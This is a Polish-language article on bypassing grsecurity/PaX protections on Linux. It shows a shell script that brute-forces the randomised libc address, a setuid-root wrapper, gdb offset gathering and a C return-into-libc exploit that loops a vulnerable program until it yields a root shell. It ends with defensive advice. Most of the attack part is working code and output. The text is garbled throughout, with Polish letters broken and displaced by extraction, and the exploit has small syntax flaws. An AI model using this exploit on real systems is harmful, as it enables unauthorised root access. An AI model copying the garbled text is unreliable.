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Grsecurity z punktu widzenia intruza

Jednym z najbardziej popularnych rozwi za  globalnie poprawiaj cych bezpiecze stwoą ń ą ń
systemu Linux jest patch na j dro ą grsecurity. Jest on po czeniem wielu rozwi za  maj cychłą ą ń ą
na celu utrudnienie, jak nie ca kowite uniemo liwienie naruszenia bezpiecze stwa systemu.ł ż ń
Cechuje si  on ochron  przed atakiem ( stack overflow, /tmp race, i inne ) jak i po udanymę ą
ataku ( ochrona /dev/[k]mem, ACL ). Mimo, e rozwi zanie wydaje si  by  niezawodnż ą ę ć ą
ochron  przeciwko intruzom jest w niektórych przypadkach zgub  dla administratora –ą ą
pozostawia go w b ogiej nie wiadomo ci. W artykule postaram si  opisa  sposoby na udaneł ś ś ę ć
wykorzystanie b dów typu stack overflow oraz innych w systemie chronionym przezłę
grsecurity.

Krótkie przypomnienie o return-into-libc:
Metoda return-into-libc jest powszechnie stosowan  praktyk  w przypadku ataków naą ą
systemy chronione przez ró nego rodzaju ż patche maj ce na celu implementacjeą
niewykonywalnego stosu/sterty itp. Polega ona na nadpisaniu adresu powrotu z funkcji,
adresem funkcji – zazwyczaj system()- ze standardowej biblioteki C, poniewa  zamapowanaż
w pami ci biblioteka jest oznaczona jako wykonywalna. Dodatkowo do tego typu funkcji, wę
odró nieniu od syscalli, parametry przekazywane sa przez stos, wi c wykonanie dowolnejż ę
instrukcji nie stanowi problemu.

Wi kszo  exploitów – programów wyko ystuj cych b dy w oprogramowaniu dzia a wed ódę ść ż ą łę ł ł
prostego schematu. Modyfikuj  adres powrotu z funkcji, b d  adres funkcji, do której programą ą ź
si  pó niej odwo uje, w ten sposób, e wskazuje on na miejsce gdzie uprzednio zostaę ź ł ż ł
wstawiony kod, maj cy na celu wykonanie polece  atakuj cego ( zwykle zwi kszenieą ń ą ę
uprawnie  i uruchomienie pow oki ). Dzieje si  tak, poniewa  instrukcje mog  byń ł ę ż ą ć
wykonywane z obszaru, gdzie program mo e zapisywa  dane. Grsecurity oferuje pe nż ć ł ą
ochron  przed wykonywaniem kodu w zapisywalnych obszarach pami ci. Sposobem naę ę
obej cie tego typu zabezpieczenia jest opisana w magazynie ś phrack oraz poruszana na wielu
listach dyskusyjnych metoda return-into-libc. Dzi ki niej atakuj cy nie musi umieszczaę ą ć
swojego kodu w pami ci. Korzysta w gotowych funkcji w bibliotece C, prez co ochronaę
pami ci gwarantowana przez ę patch nie dzia a. Autorzy grsecurity szybko znale li rozwi zanieł ź ą
tego problemu. Adresy mapowanych w pami ci bibliotek s  losowe. Za ka dym razem kiedyę ą ż
uruchamiany jest program gdzie indziej w pami ci znajduj  si  zamapowane biblioteki.ę ą ę
Jednak e losowe w adresie jest tylko 16 bitów, a wi c istnieje tylko 16^4 (65536 mo liwo ci)ż ę ż ś
ró nych adresów, co daje atakuj cemu mo liwo  do bruteforceowania tych adresów. Przyż ą ż ść
obecnie wyst puj cych konfiguracjach sprz towych taki atak nie trwa d u ej ni  5 minut.ę ą ę ł ż ż
Potwierdzeniem powy szego za o enia jest pokazany poni ej skrypt oraz efekt jegoż ł ż ż
dzia ania. Ko ystaj c z ldd pobiera on adres, pod którym zosta a zamapowana biblioteka dlał ż ą ł
programu /bin/ls, po czym dzia aj c w p tli uruchamia ldd do momentu, kiedy adres sił ą ę ę
powtórzy.



Skrypt pokazuj cy bruteforcowanie adresu libcą
#!/bin/sh
BASE=`ldd /bin/ls 2>/dev/null | awk ' /libc/ { print substr(\$4, 2, 10);}'`
I=0
J=0
date
echo $BASE;
while [ 1 ]; do
          OTB=`ldd /bin/ls 2>/dev/null | head -1 | awk '{ print substr(\$4, 2, 10);}'`  
          let I=$I+1;  
          if [ $I = 128 ]; then  
                  echo -n ".";  
                  let J=$J+1  
                  let I=0  
          fi  
          if [ $OTB = $BASE ]; then  
                  echo "";  
                  echo -n "Found OTB $OTB ";  
                  let RES=$J*128+$I  
                  echo "with $RES tries"  
                  date  
                  exit;  
          fi  
done 

Bruteforceowanie adresu libc_base na maszynie Intel Celeron 333Mhz
root@kleo:/audyt/gr# ./fo.sh
Sat Aug 14 22:19:32 CEST 2004
0x28721000
....................................................................................................................................................
...
Found OTB 0x28721000 with 19346 tries
Sat Aug 14 22:46:00 CEST 2004
root@kleo:/audyt/gr#

Jak widzimy  powtórzenie si  adresu to tylko kwestja czasu – zauwa my, e taka mocę ż ż
procesora to ju  adko  w przypadku serwerów produkcyjnych. Atakuj cemu pozostajeż ż ść ą
drugi problem do rozwi zania. S  nim argumenty do funkcji której adres ju  mamy. Niestetyą ą ż
nie mo emy skorzysta  ani ze sterty, ani ze stosu, gdy  ich adresy równie  s  losowe,ż ć ż ż ą
ponadto w adnym stopniu nie s  powi zane z adresam, który znale li my (libc).ż ą ą ź ś
Zbruteforceowanie samego adresu stosu, podobnie jak samego adresu libc jest wykonalne w
do  krótkim czasie, natomiast prawdopodobie stwo powtórzenia si  obu adresów wść ń ę
rozs dnym okresie czasu oscyluje bardzo blisko zera. Argumentów nale y wi c szuka  wą ż ę ć
tym co mamy, czyli w bibliotece C. Mo emy równie  upro ci  nasze poszukiwania zeż ż ś ć
wzgl du na wykonywan  funkcj  ( exec* ) do a cucha znaków zako czonego zerem ię ą ę ł ń ń



samego zera. 

Hexdump standardowej biblioteki C
[root@nesquik lib]# hexdump libc-2.2.5.so | head -1
0000000 457f 464c 0101 0001 0000 0000 0000 0000

Na samym pocz tku biblioteki znajdujemy pasuj cy naszym kryteriom fragment. Najbardzieją ą
pasuj c  funkcj  z rodziny exec* w tym przypadku b dzie ą ą ą ę execvp().

Opis funkcji execvp
Funkcje execlp oraz execvp  wykonuj   zadania  pow oki  szukaj c  plikuą ł ą
wykonywalnego,  je li  nazwa  pliku  nie  zawiera  znaku  uko nika (/).ś ś
cie ka przeszukiwania to cie ka podana w zmiennej rodowiskowej PATH.ś ż ś ż ś

Je li  zmienna  ta  nie  istnieje,  przyjmowana  jest  domy lna cie kaś ś ś ż
 ``:/bin:/usr/bin''.

Wyko ystuj c wszystkie powy sze zagadnienia mo emy zacz  pisa  przyk adowegoż ą ż ż ąć ć ł
exploita. Atakowanym programem niech b dzie najprostrzy jaki da si  wymy li , pozwalaj cyę ę ś ć ą
na wykorzystanie techniki nadpisania bufora na stosie. 

Atakowany program podatny na atak typu buffer overflow
int main(int argc, char *argv[])
            {  
            char buf[4];  
            if (argc>1)  
                        strcpy(buf, argv[1]);  
            return 0;  
}

Exploit powinien stworzy  wymagane pliki wykonywalne, które zostan  uruchomione przezć ą
execvp() po nadpisaniu bufora w atakowanej aplikacji, nast pnie uzyska  adres biblioteki C,ę ć
pod którym zosta a zamapowana oraz funkcji execvp. W nast pnej kolejno ci powinienł ę ś
przygotowa  a cuch który spowoduje ć ł ń overflowa i ostatecznie uruchamia  dziurawy programć
do czasu, a  uzyskany adres powtórzy si . Maj c taki plan jeste my gotowi. W zale no ci odż ę ą ś ż ś
wersji libc'a  jest mo liwe, e execvp() zignoruje trzy znaki oznaczone kodem 0x01ż ż
znajduj ce si  w nazwie której b dziemy u ywali. Dlatego wskazanym jest stworzenie dwóchą ę ę ż
plików, zawieraj cego te trzy znaki w nazwie i bez nich. Dodatkowo mo emy upro ci  sobieą ż ś ć
zadanie, znajduj c w bibliotece ci g znaków “/bin/sh” zako czony zerem. Jednak e wą ą ń ż
przypadku aplikacji tylko z euid równym 0 w momencie overflowa nie da nam to w efekcie
upragnionego rootshella ( ze wzgl du na charakterystyczne zachowanie pow oki bash2, doę ł
której w wi kszo ciu przypadków zlinkowane jest /bin/sh ). Naj atwiejszym sposobem b dzieę ś ł ę
rozdzielenie exploita na dwie cz ci. Pierwsz , wykonywan  manualnie – stworzenie plików,ęś ą ą
zebranie potrzebnych adresów, oraz drug  , powoduj c  overflowa. Do wykonania pierwszeją ą ą
cz ci u yjemy kopi atakowanej aplikacji bez w czonego losowego mapowania bibliotek,ęś ż łą
a eby zdoby  prawid owe offsety dla funkcji execvp i exit. Najpierw tworzymy program -ż ć ł



target, który zwi kszy uprawnienia i wywo a pow ok . Kompilujemy go i tworzymy do niegoę ł ł ę
linki symboliczne o nazwach ELF i ELF\001\001\001 ( zale nie od wersji libca uruchomi siż ę
jeden z nich ). Kopiujemy atakowany program i przy pomocy narz dzia chpax, dost pnegoę ę
na stronie projektu ( pax.grsecurity.net ) zdejmujemy wymagane flagi, eby mo liwym by oż ż ł
analizowanie go. Przy pomocy ldd wyci gamy adres, gdzie zosta a zamapowana bibliotekaą ł
tzw. libc_base. Ko ystaj c z gdb uzyskujemy adresy potrzebnych funkcji – execvp i exit.ż ą
Offsety obliczamy odejmuj c ( w systemie szesnastkowym ) od adresu funkcji adresą
libc_base.

Pierwsza, manualna cz  exploitaęść
[root@nesquik grsec]# cat >target.c<<_EOF
> #include <unistd.h>
> int main(void)
>         {
>         setuid(0);
>         execl("/bin/sh", "sh",0);
>         }
> _EOF
[root@nesquik grsec]# gcc -o target target.c
[root@nesquik grsec]# ln -s target `perl -e '{print "\x45\x4c\x46"}'`
[root@nesquik grsec]# ln -s target `perl -e '{print "\x45\x4c\x46\x01\x01\x01"}'`
[root@nesquik grsec]# cp vuln copy_vuln
[root@nesquik grsec]# chpax -rs copy_vuln
[root@nesquik grsec]# ldd copy_vuln | awk ' /libc/ { print substr($4, 2, 10)}'
0x40019000
[root@nesquik grsec]# cat > gdb << _EOF
> file ./copy_vuln
> b main
> r
> p/x &execvp
> p/x &exit
> _EOF
[root@nesquik grsec]# gdb -batch -q -x ./gdb | awk ' /\$1/ {print "execvp - "$3}; /\$2/ {printf
"exit - "$3"\n"};'
execvp - 0x400c9f70
exit - 0x400451a0

G ówna cze  exploita dzia aniem nie ró ni si  znacznieod pocz tkowego skryptu. Jednak eł ść ł ż ę ą ż
zamiast sprawdza  adres, pod którym zosta a zamapowana biblioteka, b dzie on próbować ł ę ł
wyko ysta  nadpisanie bufora z nadziej , e pojawi si  upragniony znak zach ty, zamiastż ć ą ż ę ę
komunikatu “Segmentation fault”. Jak widzieli my powy ej adres powtórzy si  po pewnymś ż ę
czasie i w a nie wtedy próba ataku si  powiedzie. Na nieszcz cie atakuj cego ka dał ś ę ęś ą ż
nieudana próba b dzie zalogowana. Nie stanowi to adnych problemów, jednak e b dzie toę ż ż ę
zapewne nasza ostatnia próba na tym serwerze. W ko cu nie da si  nie zauwa y  parunastuń ę ż ć
tysi cy komunikatów z j dra. W exploicie tworzymy bufor o d ugo ci o 20 wi kszej ni  wę ą ł ś ę ż



atakowanym programie. Pierwsze 8 bajtów bufora pomijamy, jako e pierwsze 4 bajtyż
wype ni  bufor atakowanego programu a kolejne znajd  si  w rejestrze ł ą ą ę ebp, który w tej
sytuacji nas w ogóle nie interesuje. Kolejne 4 bajty znajd  si  w rejestrze ą ę eip, i tu wpisujemy
adres funkcji execvp. Kolejne 4 bajty s  adresem do jakiego “skoczy” program po wyj ciu zą ś
execvp – tu wstawiamy adres exit. Nast pnie znajduj  si  argumenty do execvp – adres doę ą ę
a cucha znaków zako czonego zerem i adres do samego zera. Exploit uruchamiał ń ń
atakowany program w p tli do czasu, a  atak si  powiedzie.ę ż ę

Druga cz  exploitaęść
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>

/* Offsety nale y wyliczy  dla konkretnego systemuż ć
   * jedynie ELF_ i ZERO_ s  sta eą ł  
   */  
#define             EXEC_OFFSET         0xaa7a4  
#define             EXIT_OFFSET           0x31534  
#define             LIBC                              0x4a8f7000  
#define             ELF_OFFSET             0x1  
#define             ZERO_OFFSET         0x8  
#define             B_SIZE                        8  

int main(void)
            {  
            int status, pid;  
            char buf[B_SIZE+16+5+1], *pbuf;  
            pbuf = (char*)&buf;  
            memset(buf, 0x0d, sizeof(buf));  
            pbuf+=B_SIZE;  
            *(int*)(pbuf) = LIBC+EXEC_OFFSET;  
            pbuf+=4;  
            *(int*)(pbuf) = LIBC+EXIT_OFFSET;  
            pbuf+=4;  
            *(int*)(pbuf) = LIBC+ELF_OFFSET;  
            pbuf+=4;  
            *(int*)(pbuf) = LIBC+ZERO_OFFSET;  
            buf[B_SIZE+16] = 0;  
            while ( 1 ) {  
                        pid = fork();  
                        if (pid==0)  
                                    execl("./vuln", "vuln", buf, 0);  
                        if (pid>0)  
                                    {  
                                    waitpid(pid, &status, WUNTRACED);  



                                    if (status==0)  
                                                break;  
                                    }  
                        if (pid<0)  
                                    {  
                                    printf(“Brak resoursów\n”);  
                                    break;  
                                    }  
            return 0;  
            }  

Tak jak si  spodziewali my, po d u szej chwili uzyskujemy upragnionego root'a, nawet przyę ś ł ż
ochronie jak  zapewnia patch. ą
Istnieje równie  ca y ogrom b edów programistycznych, przed którymi grsecurity nie jest wż ł ł
stanie nas obroni . Najprostrzym przyk adem jest, kiedy nadpisuj c bufor zmieniamy warto cić ł ą ś
kluczowych dla dzia ania prograsmu zmiennych. Mog  to by  plik tymczasowy, do któregoł ą ć
program b dzie zapisywa  z euid0, czy zapisany uid u ytkownika, który zostanieę ł ż
wykorzystany do pó niejszego zrzucenia uprawnie . To samo dotyczy nadpisa  wska nikówź ń ń ź
do funkcji. Przyk ad takiego programu znajduje si  poni ej. Dobieraj c odpowiedni  d ugoł ę ż ą ą ł ść
bufora, atakuj cy mo e doprowadzi , e w punkcie [2] maj ce terminowa  cuch znakówą ż ć ż ą ć łąń
zero, zostanie wpisane poza zmienn  buf, do zmiennej uid [1], przechowuj cej identyfikatorą ą
u ytkownika uruchamiaj cego program.W konsekwencji doprowadzi to do pozostawieniaż ą
uprawnie  administratora u ytkownikowi w punkcie [3] na dalsz  cze  programu, gdzień ż ą ść
autor za o y  e wszystko b dzie wykonywane z uprawnieniami u ytkownika ( zapis i czytanieł ż ł ż ę ż
plików itp. )

Przyk adowy program z b dem, przed którym nie uchroni grsecuritył łę
int main(int argc, char *argv[])
          {  
          int uid;                  // [1]  
          char buf[4];  
          uid = getuid();  
          if (argc>1)  
                  {  
                  strcpy(buf, argv[1]);  
                  buf[strlen(argv[1])-1] = 0;            // [2]  
                  }  
          // funkcje uruchamiane z euid0  
          setuid(uid);                      // [3]  
          // funkcje uruchamiane z bezpiecznym uid u ytkownika - zapis do plików itp.ż  
          return 0;  
}

Skuteczn  metod  ochrony jest czenie z grsecurity innych, dzia aj cych na innej “warstwie”ą ą łą ł ą
metod obrony. Efektywnym po czenie daje patch na gcc – propolice. Uniemo liwia onłą ż



nadpisania adresu powrotu z funkcji przez wstawienie warto ci kontrolnej, je eli zostanie onaś ż
zmieniona, program zostanie zatrzymany. Propolice zmienia równie  kolejno  zmiennych naż ść
stosie w taki sposób, a eby niemo liwym by o nadpisanie wska ników do funkcji. Alternatywż ż ł ź ą
jest libsafe, biblioteka transparentnie implementuj ca ochron  przed atakami nadpisuj cymią ę ą
bufory, a tak e atakami typu format string. Nale y jednak pami ta , e ka de z rozwi zaż ż ę ć ż ż ą ń
utrudniaj cych atakuj cemu wyko ystanie luki w systemie wi e si  ze spadkiem wydajno ci.ą ą ż ąż ę ś
Równie  wa nym jest, aby najpierw przej e  system pod k tem niewyko ystywanychż ż ż ć ą ż
aplikacji dzia aj cych ze zwi kszonymi uprawnieniami ( suid/sgid ), a tak eł ą ę ż
niewyko ystywanych us ug, oraz systematyczna aktualizacja. My lenie e grsecurity za atwiż ł ś ż ł
wszystko jest bardzo b dne i w którkim czasie mo emy mie  niemi  niespodzianke.łę ż ć łą

Odno niki :ś
� http://www.grsecurity.net/   - strona projektu grsecurity
� http://www.research.ibm.com/trl/projects/security/ssp/   - projekt stack smashing protector
� http://www.research.avayalabs.com/project/libsafe/   - projekt Libsafe
� http://bsquad.sm.pl/files/cdrdao.sh   – exploit na luk  w cdrdao, b d exploitowalny mimoę łą

zabezpieczenia przez grsecurity


